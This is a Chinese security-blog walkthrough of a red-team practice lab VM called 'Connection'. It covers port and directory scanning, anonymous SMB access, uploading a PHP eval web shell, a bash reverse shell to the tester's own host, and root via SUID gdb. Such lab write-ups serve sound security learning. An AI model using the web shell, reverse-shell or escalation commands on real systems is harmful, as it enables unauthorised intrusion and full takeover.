红队专项·Connection - FreeBuf网络安全行业门户

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户，每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序把安全装进口袋

Web安全

红队专项·Connection

wIngy 2023-06-08 10:03:56 143530

所属地重庆

本文由 wIngy 创作，已纳入「FreeBuf原创奖励计划」，未授权禁止转载

前言
作为自己的专项练习，力求培养渗透思维，熟悉工具使用，愿与诸君共勉之

信息收集

nmap探测目标IP
nmap -sT --min-rate 10000 -p- 192.168.56.0/24
Nmap scan report for 192.168.56.101
Host is up (0.00075s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

nmap针对目标IP开放端口进行更加详细的扫描
nmap -sT -sV -sC -A -p22,80,139,445 192.168.56.101
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 b7e601b5f906a1ea40042944f4df22a1 (RSA)
|   256 fb1694df9389c7568584229ea0be7c95 (ECDSA)
|_  256 452efb8704ebd18b926f6aea5aa2a11c (ED25519)
80/tcp  open  http        Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
Service Info: Host: CONNECTION; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1h19m58s, deviation: 2h18m33s, median: -1s
| smb2-time: 
|   date: 2023-06-07T04:02:15
|_  start_date: N/A
|_nbstat: NetBIOS name: CONNECTION, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.9.5-Debian)
|   Computer name: connection
|   NetBIOS computer name: CONNECTION\x00
|   Domain name: \x00
|   FQDN: connection
|_  System time: 2023-06-07T00:02:15-04:00

我们发现了ssh服务，http服务，smb服务。接下来逐个击破

SSH服务渗透

这个前期没什么好说的，无非以下几种入侵手段：

爆破
ssh密钥泄露
私钥可写

这个靶场无利用条件

HTTP服务渗透

页面浏览，发现为apache的默认页面

目录爆破，无有效信息

dirsearch -u http://192.168.56.101/
[12:10:23] 200 -   10KB - /index.html

gobuster dir -u http://192.168.56.101/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.56.101/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.3
[+] Timeout:                 10s
===============================================================
2023/06/07 12:00:03 Starting gobuster in directory enumeration mode
===============================================================
/server-status        (Status: 403) [Size: 279]
Progress: 219085 / 220561 (99.33%)===============================================================
2023/06/07 12:00:17 Finished
===============================================================

web应用程序探测(中间件探测)

whatweb http://192.168.56.101/
http://192.168.56.101/ [200 OK] Apache[2.4.38], Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], IP[192.168.56.101], Title[Apache2 Debian Default Page: It works]

结果也没有什么有趣的信息，帮助不大

SMB服务渗透(突破口)

enum4linux -A 192.168.56.101
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Wed Jun  7 12:42:04 2023

 =========================================( Target Information )=========================================

Target ........... 192.168.56.101
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ===========================( Enumerating Workgroup/Domain on 192.168.56.101 )===========================


[+] Got domain/workgroup name: WORKGROUP


 ==================================( Session Check on 192.168.56.101 )==================================


[+] Server 192.168.56.101 allows sessions using username '', password ''


 ===============================( Getting domain SID for 192.168.56.101 )===============================



[+] Can't determine if host is part of domain or part of a workgroup

enum4linux complete on Wed Jun  7 12:42:04 2023
我们可以看到smb可以进行空密码访问

smbclient -N -L \\\\192.168.56.101 (-N不询问密码，-L列出)

确实支持匿名登录，且存在一个share文件夹可以看，希望能出货

html文件夹里面有个index.html，是apache的默认页面

但是吧到这里，哈哈好像就没啥思路跟想法了。

我网上搜索了一下，使用msf进行攻击尝试(失败)

最后的最后终于发现smb支持put协议进行文件上传，那就来吧

smb服务之put任意文件上传getshell

为什么就找到这个点了勒，起初文件可以下载然后我就疯狂搜smb支持的上传协议，功夫不负有心人发现了PUT

那就事情就水到渠成了，因为我们还不知道后端语言，首先尝试php的马子

<?php
  echo "<pre>" . @eval($_REQUEST['cmd']) . "</pre>";
?>

验证一下

直接上蚁剑进行操作

找到用户的flag

3f491443a2a6aa82bc86a3cda8c39617

权限提升

兜兜转转，最后发现gdb这个可执行二进制文件有SUID位的权限

查找SUID
find / -perm -4000 2>/dev/null

参考gtfobins的提权手法

不过具体操作的时候出现了一点意外，蚁剑的虚拟终端出现了问题，稳定不了rootshell

我把它弹回kali上了

bash -c "bash -i >%26 /dev/tcp/192.168.56.102/443 0>%261"

稳定shell
script /dev/null -c bash
ctrl+z
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
然后你就会发现你的shell有补全有删除、

/usr/bin/gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit